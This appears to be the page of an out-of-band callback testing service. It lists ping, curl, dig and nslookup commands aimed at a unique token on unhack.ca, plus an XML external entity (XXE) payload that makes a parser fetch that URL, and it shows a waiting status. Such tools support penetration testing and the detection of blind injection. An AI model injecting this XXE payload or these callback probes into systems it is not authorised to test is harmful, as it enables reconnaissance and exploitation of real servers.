$ ping -c1 -p 00e3a46993f553e42f3cf4a1f7e81100 unhack.ca
 
$ curl http://unhack.ca/p/e3a46993f553e42f3cf4a1f7e811
 
$ dig e3a46993f553e42f3cf4a1f7e811 @unhack.ca
 
$ dig e3a46993f553e42f3cf4a1f7e811.ns.unhack.ca
 
C:\> nslookup e3a46993f553e42f3cf4a1f7e811 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e3a46993f553e42f3cf4a1f7e811">]>
    <foo>&xxe;</foo>
 
Waiting for ping...